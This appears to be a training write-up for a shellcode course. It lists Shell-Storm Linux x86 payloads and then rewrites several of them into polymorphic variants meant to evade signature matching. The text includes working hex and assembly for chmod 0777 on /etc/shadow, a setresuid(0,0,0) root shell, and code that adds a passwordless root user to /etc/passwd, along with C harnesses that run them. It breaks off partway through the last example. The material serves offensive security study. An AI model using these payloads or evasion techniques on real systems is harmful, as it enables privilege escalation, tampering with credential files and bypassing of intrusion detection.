Introduction
This is assignment #6 of the SLAE x86 Exam objectives.
Objectives
- Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
- The polymorphic versions cannot be larger than 150% of the existing shellcode
- Bonus points for making it shorter in length than original
Basic Principles of Polymorphic shellcoding
- Replace instructions with equivalent functionality ones
- Add garbage instructions which don’t change functionality in any way / NOP Equivalents
- Polymorphic Engines
Building a task plan and prerequisites
Choosing shellcode samples
The first thing is to choose the shellcode samples for the ongoing analysis.
Here’s a list of Linux x86 shellcodes for intel architecture on Shell-Storm:
- Linux/x86 – setuid + setgid + stdin re-open + exceve – 71 bytes by Andres C. Rodriguez (acamro)
- Linux/x86 – Followtheleader custom execve-shellcode Encoder/Decoder – 136 bytes by Konstantinos Alexiou
- Linux/x86 – ROT-7 Decoder execve – 74 bytes by Stavros Metzidakis
- Linux/x86 – Add map in /etc/hosts file – 77 bytes by Javier Tejedor
- Linux/x86 – Obfuscated – chmod({passwd,shadow}) – add new root user – exec /bin/sh – 512 bytes by Ali Razmjoo
- Linux/x86 – setreuid() + exec /usr/bin/python – 54 bytes by Ali Razmjoo
- Linux/x86 – chmod + Add new root user with password + exec sh – 378 bytes by Ali Razmjoo
- Linux/x86 – Shell Reverse TCP Shellcode – 74 bytes by Julien Ahrens
- Linux/x86 – Shell Bind TCP Shellcode Port 1337 – 89 bytes by Julien Ahrens
- Linux/x86 – sockfd trick + dup2(0,0),dup2(0,1),dup2(0,2) + execve /bin/sh – 50 bytes by ZadYree
- Linux/x86 – shutdown -h now – 56 bytes by Osanda Malith Jayathissa
- Linux/x86 – chmod 0777 /etc/shadow (a bit obfuscated) Shellcode – 51 bytes by Osanda Malith Jayathissa
- Linux/x86 – /bin/nc -le /bin/sh -vp 17771 – 58 bytes by Oleg Boytsev
- Linux/x86 – JMP-FSTENV execve shell – 67 bytes by Paolo Stivanin
- Linux/x86 – shift-bit-encoder execve – 114 bytes by Shihao Song
- Linux/x86 – Copy /etc/passwd to /tmp/outfile – 97 bytes by Paolo Stivanin
- Linux/x86 – jump-call-pop execve shell – 52 bytes by Paolo Stivanin
- Linux/x86 – Download + chmod + exec – 108 bytes by Daniel Sauder
- Linux/x86 – reads /etc/passwd and sends the content to 127.1.1.1 port 12345 – 111 bytes by Daniel Sauder
- Linux/x86 – Multi-Egghunter by Ryan Fenno
- Linux/x86 – Obfuscated tcp bind shell – 112 bytes by Russell Willis
- Linux/x86 – Obfuscated execve /bin/sh – 30 bytes by Russell Willis
- Linux/x86 – egghunter shellcode by Russell Willis
- Linux/x86 – Reverse TCP bind shell – 92 bytes by Russell Willis
- Linux/x86 – Set /proc/sys/net/ipv4/ip_forward to 0 & exit() – 83 bytes by Hamid Zamani
- Linux/x86 – TCP bind shell – 108 bytes by Russell Willis
- Linux/x86 – Encrypted execve /bin/sh with uzumaki algorithm – 50 bytes by Geyslan G. Bem
- Linux/x86 – Mutated Execve Wget – 96 bytes by Geyslan G. Bem
- Linux/x86 – Mutated Fork Bomb – 15 bytes by Geyslan G. Bem
- Linux/x86 – Mutated Reboot – 55 bytes by Geyslan G. Bem
- Linux/x86 – Tiny read /etc/passwd file – 51 bytes by Geyslan G. Bem
- Linux/x86 – Tiny Execve sh Shellcode – 21 bytes by Geyslan G. Bem
- Linux/x86 – Insertion Decoder Shellcode – 33+ bytes by Geyslan G. Bem
- Linux/x86 – Egg Hunter Shellcode – 38 bytes by Geyslan G. Bem
- Linux/x86 – Tiny Shell Reverse TCP – 67 bytes by Geyslan G. Bem
- Linux/x86 – Tiny Shell Bind TCP Random Port – 57 bytes by Geyslan G. Bem
- Linux/x86 – Tiny Shell Bind TCP – 73 bytes by Geyslan G. Bem
- Linux/x86 – Shell Bind TCP (GetPC/Call/Ret Method) – 89 bytes by Geyslan G. Bem
- Linux/x86 – append /etc/passwd & exit() – 107 bytes by $andman
- Linux/x86 – unlink(/etc/passwd) & exit() – 35 bytes by $andman
- Linux/x86 – connect back&send&exit /etc/shadow – 155 bytes by 0in
- Linux/x86 – execve read shellcode – 92 bytes by 0ut0fbound
- Linux/x86 – egghunt shellcode – 29 bytes by Ali Raheem
- Linux/x86 – nc -lvve/bin/sh -p13377 – 62 bytes by Anonymous
- Linux/x86 – /bin/sh Null-Free Polymorphic – 46 bytes by Aodrulez
- Linux/x86 – execve() Diassembly Obfuscation Shellcode – 32 bytes by BaCkSpAcE
- Linux/x86 – SET_IP() Connectback Shellcode – 82 bytes by Benjamin Orozco
- Linux/x86 – SET_PORT() portbind – 100 bytes by Benjamin Orozco
- Linux/x86 – netcat bindshell port 8080 – 75 bytes by Blake
- Linux/x86 – netcat connect back port 8080 – 76 bytes by Blake
- Linux/x86 – adds a root user no-passwd to /etc/passwd – 83 bytes by Bob [Dtors.net]
- Linux/x86 – chmod(//bin/sh ,04775); set sh +s – 31 bytes by Bob [Dtors.net]
- Linux/x86 – execve()/bin/ash; exit; – 34 bytes by Bob [Dtors.net]
- Linux/x86 – setuid(); execve(); exit(); – 44 bytes by Bob [Dtors.net]
- Linux/x86 – setreuid(0, 0) + execve(/bin//sh, [/bin//sh, -c, cmd], NULL); by Bunker
- Linux/x86 – dup2(0,0); dup2(0,1); dup2(0,2); 15 bytes by Charles Stevenson
- Linux/x86 – exit(1) – 7 bytes by Charles Stevenson
- Linux/x86 – if(read(fd,buf,512)<=2) _exit(1) else buf(); – 29 bytes by Charles Stevenson
- Linux/x86 – read(0,buf,2541); chmod(buf,4755); – 23 bytes by Charles Stevenson
- Linux/x86 – execve(/bin/dash) – 49 bytes by Chroniccommand
- Linux/x86 – Audio (knock knock knock) via /dev/dsp+setreuid(0,0)+execve() – 566 bytes by Cody Tubbs
- Linux/x86 – Surprise ! ! ! – 361 bytes by Florian Gaultier
- Linux/x86 – Write FS PHP Connect Back Utility Shellcode – 508 bytes by GS2008
- Linux/x86 – Bind TCP Port – with SO_REUSEADDR set (Avoiding SIGSEGV) – 103 bytes by Geyslan G. Bem
- Linux/x86 – Shell Bind TCP Random Port – 65 bytes by Geyslan G. Bem
- Linux/x86 – Shell Reverse TCP Shellcode – 72 bytes by Geyslan G. Bem
- Linux/x86 – Password Authentication portbind port 64713/tcp – 166 bytes by Gotfault Security
- Linux/x86 – portbind port 64713 – 86 bytes by Gotfault Security
- Linux/x86 – setreuid(0,0) + execve(/bin/sh, [/bin/sh, NULL]) – 33 bytes by Gotfault Security
- Linux/x86 – setuid(0) setgid(0) execve(“/bin/sh”, [“/bin/sh”, NULL]) – 37 bytes by Gotfault Security
- Linux/x86 – Force Reboot shellcode 36 bytes by Hamza Megahed
- Linux/x86 – Remote Port forwarding – 87 bytes by Hamza Megahed
- Linux/x86 – execve /bin/sh shellcode – 23 bytes by Hamza Megahed
- Linux/x86 – execve-chmod 0777 /etc/shadow – 57 bytes by Hamza Megahed
- Linux/x86 – iptables –flush – 43 bytes by Hamza Megahed
- Linux/x86 – ASLR deactivation – 83 bytes by Jean Pascal Pereira
- Linux/x86 – chmod 666 /etc/passwd & /etc/shadow – 57 bytes by Jean Pascal Pereira
- Linux/x86 – execve(/bin/sh) – 28 bytes by Jean Pascal Pereira
- Linux/x86 – ///sbin/iptables -POUTPUT DROP – 60 bytes by John Babio
- Linux/x86 – /etc/init.d/apparmor teardown – 53 bytes by John Babio
- Linux/x86 – /usr/bin/killall snort – 46 bytes by John Babio
- Linux/x86 – /bin/sh polymorphic shellcode – 48 bytes by Jonathan Salwan
- Linux/x86 – ConnectBack with SSL connection – 422 bytes by Jonathan Salwan
- Linux/x86 – Remote file Download – 42 bytes by Jonathan Salwan
- Linux/x86 – execve(/bin/bash, [/bin/sh, -p], NULL) – 33 bytes by Jonathan Salwan
- Linux/x86 – polymorphic execve(/bin/bash, [/bin/sh, -p], NULL) – 57 bytes by Jonathan Salwan
- Linux/x86 – /bin/sh – 8 bytes by JungHoon Shin
- Linux/x86 – add root user (r00t) with no password to /etc/passwd by Kris Katterjohn
- Linux/x86 – chmod(/etc/shadow, 0666) & exit() by Kris Katterjohn
- Linux/x86 – execve(rm -rf /) – 45 bytes by Kris Katterjohn
- Linux/x86 – forkbomb – 7 bytes by Kris Katterjohn
- Linux/x86 – ipchains -F – 40 bytes by Kris Katterjohn
- Linux/x86 – kill all processes – 11 bytes by Kris Katterjohn
- Linux/x86 – set system time to 0 & exit by Kris Katterjohn
- Linux/x86 – setuid(0) setgid(0) execve(echo 0 > /proc/sys/kernel/randomize_va_space) – 79 bytes by LiquidWorm
- Linux/x86 – DoS-Badger-Game – 6 bytes by Magnefikko
- Linux/x86 – SLoc-DoS shellcode – 55 bytes by Magnefikko
- Linux/x86 – bind sh@64533 – 97 bytes by Magnefikko
- Linux/x86 – chmod(/etc/shadow, 0666) – 36 bytes by Magnefikko
- Linux/x86 – chmod(/etc/shadow, 0777) – 29 bytes by Magnefikko
- Linux/x86 – execve(/bin/sh) – 25 bytes by Magnefikko
- Linux/x86 – execve(a->/bin/sh) – 14 bytes by Magnefikko
- Linux/x86 – setreud(getuid(), getuid()) & execve(/bin/sh) – 34 bytes by Magnefikko
- Linux/x86 – setuid(0) ^ execve(/bin/sh, 0, 0) – 27 bytes by Magnefikko
- Linux/x86 – setuid(0) + execve(/bin/sh,…) – 29 bytes by Marcin Ulikowski
- Linux/x86 – re-use of (/bin/sh) string in .rodata – 16 bytes by Marco Ivaldi
- Linux/x86 – setuid/portbind port 31337 TCP – 96 bytes by Marco Ivaldi
- Linux/x86 – stdin re-open and /bin/sh execute by Marco Ivaldi
- Linux/x86 – add user t00r ENCRYPT – 116 bytes by Matias Sedalo
- Linux/x86 – chmod 666 /etc/shadow – 41 bytes by Matias Sedalo
- Linux/x86 – chmod 666 shadow ENCRYPT – 75 bytes by Matias Sedalo
- Linux/x86 – execve /bin/sh encrypted – 58 bytes by Matias Sedalo
- Linux/x86 – portbind a shell in port 5074 – 92 bytes by Matias Sedalo
- Linux/x86 – execve /bin/sh anti-ids 40 bytes by NicatiN
- Linux/x86 – /bin/cp /bin/sh /tmp/katy & chmod 4555 – 126 bytes by RaiSe
- Linux/x86 – execve(/bin//sh/,[/bin//sh],NULL) – 22 bytes by Revenge
- Linux/x86 – setuid(0) + execve(/bin//sh, [/bin//sh], NULL) – 28 bytes by Revenge
- Linux/x86 – Port Bind 4444 ( xor-encoded ) – 152 bytes by Rick
- Linux/x86 – edit /etc/sudoers for full access – 86 bytes by Rick
- Linux/x86 – Connect Back shellcode – 90 bytes by Russell Sanford
- Linux/x86 – socket-proxy – 372 bytes by Russell Sanford
- Linux/x86 – [setreuid()] -> [/sbin/iptables -F] -> [exit(0)] – 76 bytes by Sh3llc0d3
- Linux/x86 – Add root user /etc/passwd – 104 bytes by Shok
- Linux/x86 – iptables -F – 49 bytes by Sp4rK
- Linux/x86 – execve(/sbin/halt,/sbin/halt) – 27 bytes by TheWorm
- Linux/x86 – execve(/sbin/reboot,/sbin/reboot) – 28 bytes by TheWorm
- Linux/x86 – execve(/sbin/shutdown,/sbin/shutdown 0) – 36 bytes by TheWorm
- Linux/x86 – exit(0) 3 bytes or exit(1) 4 bytes by TheWorm
- Linux/x86 – setuid(0) & execve(/bin/sh,0) – 25 bytes by TheWorm
- Linux/x86 – setuid(0), setgid(0) & execve(/bin/sh,[/bin/sh,NULL]) – 33 bytes by TheWorm
- Linux/x86 – System Beep – 45 bytes by Thomas Rinsma
- Linux/x86 – Bindshell TCP/5074 – 226 bytes by Tora
- Linux/x86 – iptables -F – 45 bytes by UnboundeD
- Linux/x86 – Connect-Back port UDP/54321 – 151 bytes by XenoMuta
- Linux/x86 – append rsa key to /root/.ssh/authorized_keys2 – 295 bytes by XenoMuta
- Linux/x86 – listens for shellcode on tcp/5555 and jumps to it – 83 bytes by XenoMuta
- Linux/x86 – Self-modifying ShellCode for IDS evasion – 64 bytes by Xenomuta
- Linux/x86 – shellcode that forks a HTTP Server on port tcp/8800 – 166 bytes by Xenomuta
- Linux/x86 – stagger that reads second stage shellcode (127 bytes maximum) from stdin – 14 bytes by _fkz
- Linux/x86 – alphanumeric Bomb FORK Shellcode – 117 Bytes by agix
- Linux/x86 – chmod(/etc/shadow, 0666) ASCII – 443 bytes by agix
- Linux/x86 – pwrite(/etc/shadow, hash, 32, 8) – 89 Bytes by agix
- Linux/x86 – Polymorphic – setuid(0) + chmod(/etc/shadow, 0666) – 61 Bytes by antrhacks
- Linux/x86 – execve(/bin/cat, /etc/shadow, NULL) – 42 bytes by antrhacks
- Linux/x86 – setuid(0) + chmod(/etc/shadow, 0666) – 37 Bytes by antrhacks
- Linux/x86 – setreuid(geteuid(),geteuid()),execve(/bin/sh,0,0) – 34bytes by blue9057
- Linux/x86 – /bin/sh sysenter Opcode Array Payload – 23 Bytes by c0ntex & BaCkSpAcE
- Linux/x86 – File Reader /etc/passwd – 65 bytes by certaindeath
- Linux/x86 – sends Phuck3d! to all terminals – 60 bytes by condis
- Linux/x86 – upload & exec – 189 bytes by cybertronic
- Linux/x86 – File unlinker 18 bytes + file path length by darkjoker
- Linux/x86 – Perl script execution 99 bytes + script length by darkjoker
- Linux/x86 – iptables -F – 58 bytes by dev0id
- Linux/x86 – symlink /bin/sh xoring – 56 bytes by dev0id
- Linux/x86 – iopl(3); asm(cli); while(1){} – 12 bytes by dun
- Linux/x86 – SWAP restore – 109 bytes by dx & spud
- Linux/x86 – SWAP store – 99 bytes by dx & spud
- Linux/x86 – /sbin/iptables –flush – 69 bytes by eSDee [Netric .org]
- Linux/x86 – connect back shellcode (port=0xb0ef) – 131 bytes by eSDee [Netric .org]
- Linux/x86 – forking portbind shellcode – port=0xb0ef(45295) – 200 bytes by eSDee [Netric .org]
- Linux/x86 – setreuid(0,0) execve(“/bin/zsh”, [/bin/zsh, NULL]) + XOR – 53 bytes by egeektronic
- Linux/x86 – setreuid(0,0) execve(“/bin/csh”, [/bin/csh, NULL]) + XOR – 53 bytes by egeektronic
- Linux/x86 – setreuid(0,0) execve(“/bin/ksh”, [/bin/ksh, NULL]) + XOR – 53 bytes by egeektronic
- Linux/x86 – setreuid(0,0) execve(/bin/ash,NULL,NULL) + XOR – 58 bytes by egeektronic
- Linux/x86 – bin/cat /etc/passwd – 43 bytes by fb1h2s
- Linux/x86 – execve() – 51bytes by fl0 fl0w
- Linux/x86 – Find all writeable folder in filesystem linux polymorphic shellcode by gunslinger_
- Linux/x86 – Polymorphic bindport to 13123 – 125 bytes by gunslinger_
- Linux/x86 – Polymorphic bindport to 31337 with setreuid (0,0) – 131 bytes by gunslinger_
- Linux/x86 – bind port to 6678 XOR encoded polymorphic – 125 bytes by gunslinger_
- Linux/x86 – cdrom ejecting shellcode – 46 bytes by gunslinger_
- Linux/x86 – chown root:root /bin/sh – 48 bytes by gunslinger_
- Linux/x86 – force unmount /media/disk – 33 bytes by gunslinger_
- Linux/x86 – give all user root access when execute /bin/sh – 45 bytes by gunslinger_
- Linux/x86 – hard reboot (without any message) and data not lost – 33 bytes by gunslinger_
- Linux/x86 – hard reboot (without any message) and data will be lost – 29 bytes by gunslinger_
- Linux/x86 – nc -lp 31337 -e /bin//sh polymorphic – 91 bytes by gunslinger_
- Linux/x86 – polymorphic cdrom ejecting – 74 bytes by gunslinger_
- Linux/x86 – setdomainname to (th1s s3rv3r h4s b33n h1j4ck3d !!) by gunslinger_
- Linux/x86 – sys_chmod(/etc/shadow, 599) – 39 bytes by gunslinger_
- Linux/x86 – sys_execve(/bin/sh, -c, ping localhost) – 55 bytes by gunslinger_
- Linux/x86 – sys_exit(0) – 8 bytes by gunslinger_
- Linux/x86 – sys_kill(-1,9) – 11 bytes by gunslinger_
- Linux/x86 – sys_rmdir(/tmp/willdeleted) – 41 bytes by gunslinger_
- Linux/x86 – sys_sethostname(PwNeD !!, 8) – 32 bytes by gunslinger_
- Linux/x86 – sys_setuid(0) & sys_setgid(0) & execve (/bin/sh) – 39 bytes by gunslinger_
- Linux/x86 – sys_sync – 6 bytes by gunslinger_
- Linux/x86 – unlink /etc/shadow – 33 bytes by gunslinger_
- Linux/x86 – Reverse Telnet by hts
- Linux/x86 – execve /bin/sh – 21 bytes by ipv
- Linux/x86 – HTTP/1.x GET, Downloads & execve() – 111 bytes+ by izik
- Linux/x86 – HTTP/1.x GET, Downloads and JMP – 68 bytes+ by izik
- Linux/x86 – anti-debug trick (INT 3h trap) execve(/bin/sh, [/bin/sh, NULL], NULL) – 39 bytes by izik
- Linux/x86 – cat /dev/urandom > /dev/console, no real profit just for kicks – 63 bytes by izik
- Linux/x86 – eject & close cd-rom frenzy loop (follows /dev/cdrom symlink) – 45 bytes by izik
- Linux/x86 – execve /bin/sh xored for Intel x86 CPUID 41 bytes by izik
- Linux/x86 – execve(/bin/sh, [/bin/sh, NULL]) + Bitmap – 27 bytes by izik
- Linux/x86 – execve(/bin/sh, [/bin/sh, NULL]) + RIFF Header – 28 bytes by izik
- Linux/x86 – execve(/bin/sh, [/bin/sh, NULL]) + RTF header – 30 bytes by izik
- Linux/x86 – execve(/bin/sh, [/bin/sh, NULL]) + ZIP Header – 28 bytes by izik
- Linux/x86 – execve(/bin/sh, [/bin/sh], NULL) / encoded by +1 – 39 bytes by izik
- Linux/x86 – open cd-rom loop (follows /dev/cdrom symlink) – 39 bytes by izik
- Linux/x86 – quick (yet conditional, eax != 0 and edx == 0) exit – 4 bytes by izik
- Linux/x86 – chmod(/etc/shadow, 0666) & exit() – 33 bytes by ka0x
- Linux/x86 – setuid(0) & execve(/bin/cat /etc/shadow) – 49 bytes by ka0x
- Linux/x86 – setuid(0) & execve(/sbin/poweroff -f) – 47 bytes by ka0x
- Linux/x86 – execve (/bin/sh) – 21 Bytes by kernel_panik
- Linux/x86 – Bindport TCP/3879 by lamagra
- Linux/x86 – connect back, download a file and execute – 149 bytes by militan
- Linux/x86 – raw-socket ICMP/checksum shell – 235 bytes by mu-b
- Linux/x86 – hence dropping a SUID root shell in /tmp – 126 bytes by n/a
- Linux/x86 – kill snort – 151 bytes by nob0dy
- Linux/x86 – setreuid & execve – 31 bytes by oc192
- Linux/x86 – rm -rf / which attempts to block the process from being stopped – 132 bytes by onionring
- Linux/x86 – portbind (define your own port) – 84 bytes by oveRet
- Linux/x86 – setuid(0)+setgid(0)+add user iph without password – 124 bytes by pentesters.ir
- Linux/x86 – break chroot execve /bin/sh – 80 bytes by preedator
- Linux/x86 – Search php,html writable files and add your code – 380+ bytes by rigan
- Linux/x86 – chmod 666 /etc/shadow – 27 bytes by root@thegibson
- Linux/x86 – eject /dev/cdrom – 42 bytes by root@thegibson
- Linux/x86 – kill all processes – 9 bytes by root@thegibson
- Linux/x86 – overwrite MBR on /dev/sda with LOL! – 43 bytes by root@thegibson
- Linux/x86 – execve(/bin/sh,0,0) – 21 bytes by sToRm
- Linux/x86 – portbind /bin/sh (port 64713) – 83 bytes by sToRm
- Linux/x86 – setuid(0) & execve(/bin/sh,0,0) – 28 bytes by sToRm
- Linux/x86 – setresuid(0,0,0); execve /bin/sh; exit; – 41 bytes by sacrine
- Linux/x86 – setuid(0) & execve(/bin/sh,0,0) – 28 bytes by sch3m4
- Linux/x86 – disabled modsecurity – 64 bytes by sekfault
- Linux/x86 – shared memory exec – 50 bytes by sloth
- Linux/x86 – chmod(/etc/shadow, 0777) – 33 bytes by sm0k
- Linux/x86 – setresuid(0,0,0)-/bin/sh – 35 bytes by sorrow
- Linux/x86 – Add User USER=t00r PASS=t00r – Encoder PexFnstenvSub – 116 bytes by vlad902
- Linux/x86 – disables shadowing – 42 bytes by vlan7
- Linux/x86 – setuid() & execve() – 27 bytes by vlan7
- Linux/x86 – examples of long-term payloads hide-wait-change – 187 bytes+ by xort & izik
- Linux/x86 – Alpha-Numeric using IMUL Method – 88 bytes by xort
- Linux/x86 – Magic Byte Self Modifying Code for surviving – execve() _exit() – 76 bytes by xort
- Linux/x86 – Radically Self Modifying Code – execve & _exit() – 70 bytes by xort
- Linux/x86 – alpha-numeric – 64 bytes by xort
- Linux/x86 – examples of long-term payloads hide-wait-change (.s) by xort
- Linux/x86 – add a passwordless local root account w000t – 177 bytes by zillion
- Linux/x86 – execve of /bin/sh /tmp/p00p – 70 bytes by zillion
- Linux/x86 – execve of /sbin/ipchains -F – 70 bytes by zillion
- Linux/x86 – execve() of /sbin/iptables -F – 70 bytes by zillion
- Linux/x86 – mkdir() & exit() – 36 bytes by zillion
I’ll be choosing the the following shellcodes (sorted by byte length):
Linux/x86 – exit(1) – 7 bytes by Charles Stevenson
Linux/x86 – chmod(/etc/shadow, 0777) – 33 bytes by sm0k
Linux/x86 – setresuid(0,0,0)-/bin/sh – 35 bytes by sorrow
Linux/x86 – adds a root user no-passwd to /etc/passwd – 83 bytes by Bob [Dtors.net]
Polymorphic version of exit(1)
Shellcode (original)
The original source of this shellcode can be found on shell–storm
/* exit-core.c by Charles Stevenson < core@bokeoa.com >
*
* I made this as a chunk you can paste in to make modular remote
* exploits. I use it when I need a process to exit cleanly.
*/
char hellcode[] = /* _exit(1); linux/x86 by core */
// 7 bytes _exit(1) ... 'cause we're nice >:) by core
"\x31\xc0" // xor %eax,%eax
"\x40" // inc %eax
"\x89\xc3" // mov %eax,%ebx
"\xcd\x80" // int $0x80
;
int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte _exit(1); linux/x86 by core\n",
strlen(hellcode));
shell();
return 0;
}
Creating a polymorphic version
Original instruction set
The original code was provided in AT&T Syntax:
xor %eax,%eax
inc %eax
mov %eax,%ebx
int $0x80
Intel syntax for this shellcode can be found below:
00000000 31C0 xor eax,eax ; zero out eax
00000002 40 inc eax ; inc eax (1 for exit call)
00000003 89C3 mov ebx,eax ; eax into ebx -> pass 1 to exit
00000005 CD80 int 0x80 ; syscall exit(1)
Modified (polymorphic) assembly
global _start
section .text
_start:
cdq
xor eax, eax ; zero out eax
inc edx ; inc eax (1 for exit call)
mov ebx, edx ; eax into ebx -> pass 1 to exit
add eax, ebx ; 1 in eax for exit syscall
int 0x80 ; syscall exit(1)
To compile and run .nasm file:
$ nasm -f elf exit.nasm
$ ld -m elf_i386 -o exit exit.o
$ ./exit
Objdump:
$ objdump -d -M intel ./exit
Get shellcode size
$ objdump -d ./exit|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | tr -d '"' | grep -o "\x" | wc -l
10
The polymorphic shellcode is 130% larger than the original.
gdb:
$ gdb -q ./exit
Polymorphic version of chmod(“/etc/shadow”, 0777)
Shellcode (original)
The original source of this shellcode can be found on shell-storm
Creating a polymorphic version
Original instruction set
The original code was provided in AT&T Syntax:
xor %eax,%eax
push %eax
mov $0xf,%al
push $0x776f6461
push $0x68732f63
push $0x74652f2f
mov %esp,%ebx
xor %ecx,%ecx
mov $0x1ff,%cx
int $0x80
inc %eax
int $0x80
Intel syntax for this shellcode can be found below:
echo -ne "\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80" > chmod
$ ndisasm -u chmod | cut -d ' ' -f2-
31C0 xor eax,eax
50 push eax
B00F mov al,0xf
6861646F77 push dword 0x776f6461
68632F7368 push dword 0x68732f63
682F2F6574 push dword 0x74652f2f
89E3 mov ebx,esp
31C9 xor ecx,ecx
66B9FF01 mov cx,0x1ff
CD80 int 0x80
40 inc eax
CD80 int 0x80
$ ndisasm -u chmod | cut -d ' ' -f2- | cut -d ' ' -f4- | sed -e 's/^[[:space:]]*//'
xor eax,eax
push eax
mov al,0xf
push dword 0x776f6461
push dword 0x68732f63
push dword 0x74652f2f
mov ebx,esp
xor ecx,ecx
mov cx,0x1ff
int 0x80
inc eax
int 0x80
Shellcode size:
echo "\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80" | grep -o '\x' | wc -l
33
Modified (polymorphic) assembly
global _start
section .text
_start:
xor eax,eax
push eax
; mov al,0xf
push 0xf ; substitute for mov al, 0xf
pop eax ; substitute for mov al, 0xf
push dword 0x776f6461
push dword 0x68732f63
push dword 0x74652f2f
mov ebx, esp
xor ecx, ecx
mov cx,0x1ff
int 0x80
inc eax
int 0x80
To compile and run .nasm file:
$ nasm -f elf chmod.nasm
$ ld -m elf_i386 -o chmod chmod.o
$ ./chmod
Objdump:
$ objdump -d -M intel ./chmod
Get shellcode size
$ objdump -d ./chmod|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | tr -d '"' | grep -o "\x" | wc -l
34
gdb:
$ gdb -q ./chmod
The polymorphic shellcode is 1 byte or 3% larger than the original.
Polymorphic version of setresuid(0,0,0) – /bin/sh
Shellcode (original)
The original source of this shellcode can be found on shell-storm
Creating a polymorphic version
Original instruction set
The original code was provided in AT&T Syntax:
;setresuid(0,0,0)
xor eax, eax
xor ebx, ebx
xor ecx, ecx
cdq
mov BYTE al, 0xa4
int 0x80
;execve("/bin//sh", ["/bin//sh", NULL], [NULL])
push BYTE 11
pop eax
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push ecx
mov edx, esp
push ebx
mov ecx, esp
int 0x80
Intel syntax for this shellcode can be found below:
8049000: 31 c0 xor eax,eax
8049002: 31 db xor ebx,ebx
8049004: 31 c9 xor ecx,ecx
8049006: 99 cdq
8049007: b0 a4 mov al,0xa4
8049009: cd 80 int 0x80
804900b: 6a 0b push 0xb
804900d: 58 pop eax
804900e: 51 push ecx
804900f: 68 2f 2f 73 68 push 0x68732f2f
8049014: 68 2f 62 69 6e push 0x6e69622f
8049019: 89 e3 mov ebx,esp
804901b: 51 push ecx
804901c: 89 e2 mov edx,esp
804901e: 53 push ebx
804901f: 89 e1 mov ecx,esp
8049021: cd 80 int 0x80
Shellcode size:
echo "\x80\xcd\xe1\x89\x53\xe2\x89\x51\xe3\x89\x6e\x69\x62\x2f\x68\x68\x73\x2f\x2f\x68\x51\x58\x0b\x6a\x80\xcd\xa4\xb0\x99\xc9\x31\xdb\x31\xc0\x31" | grep -o '\x' | wc -l
35
Modified (polymorphic) assembly
global _start
section .text
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
; cdq
xor edx, edx
mov BYTE al, 0xa4
int 0x80
;execve("/bin//sh", ["/bin//sh", NULL], [NULL])
; push BYTE 11
; pop eax
mov eax, 0xb
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push ecx
mov edx, esp
push ebx
mov ecx, esp
int 0x80
To compile and run .nasm file:
$ nasm -f elf setresuid.nasm
$ ld -m elf_i386 -o setresuid setresuid.o
$ ./chmod
Objdump:
$ objdump -d -M intel ./setresuid
Get shellcode size
$ objdump -d ./setresuid|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | tr -d '"' | grep -o "\x" | wc -l
38
gdb:
$ gdb -q ./setresuid
The polymorphic shellcode is 3 byte or 8% larger than the original.
— 4TH — (SEPARATOR)
Polymorphic version of shellcode adding a root no-passwd user to /etc/passwd
Shellcode (original)
The original source of this shellcode can be found on shell-storm
/* Linux x86 shellcode, to open() write() close() and */
/* exit(), adds a root user no-passwd to /etc/passwd */
/* By bob from dtors.net */
#include <stdio.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x53\x68\x73\x73\x77"
"\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74"
"\x89\xe3\x66\xb9\x01\x04\xb0\x05\xcd\x80\x89"
"\xc3\x31\xc0\x31\xd2\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x68\x3a\x3a\x2f\x3a\x68\x3a"
"\x30\x3a\x30\x68\x62\x6f\x62\x3a\x89\xe1\xb2"
"\x14\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80";
int
main()
{
void (*dsr) ();
(long) dsr = &shellcode;
printf("Size: %d bytes.\n", sizeof(shellcode));
dsr();
}
Creating a polymorphic version
Original instruction set
The original disassembly code was recovered using objdump / ndisasm:
$ cat shell | tr -d '"' | tr -d "\n" | sed 's/[[:space:]]//g' | xclip -selection clipboard
cat > addroot
\x31\xc0\x31\xdb\x31\xc9\x53\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\x01\x04\xb0\x05\xcd\x80\x89\xc3\x31\xc0\x31\xd2\x68
\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x68\x3a\x3a\x2f\x3a\x68\x3a\x30\x3a\x30\x68\x62\x6f\x62\x3a\x89\xe1\xb2\x14\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x31
\xc0\xb0\x01\xcd\x80
CTRL +D
$ echo -ne "\x31\xc0\x31\xdb\x31\xc9\x53\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\x01\x04\xb0\x05\xc
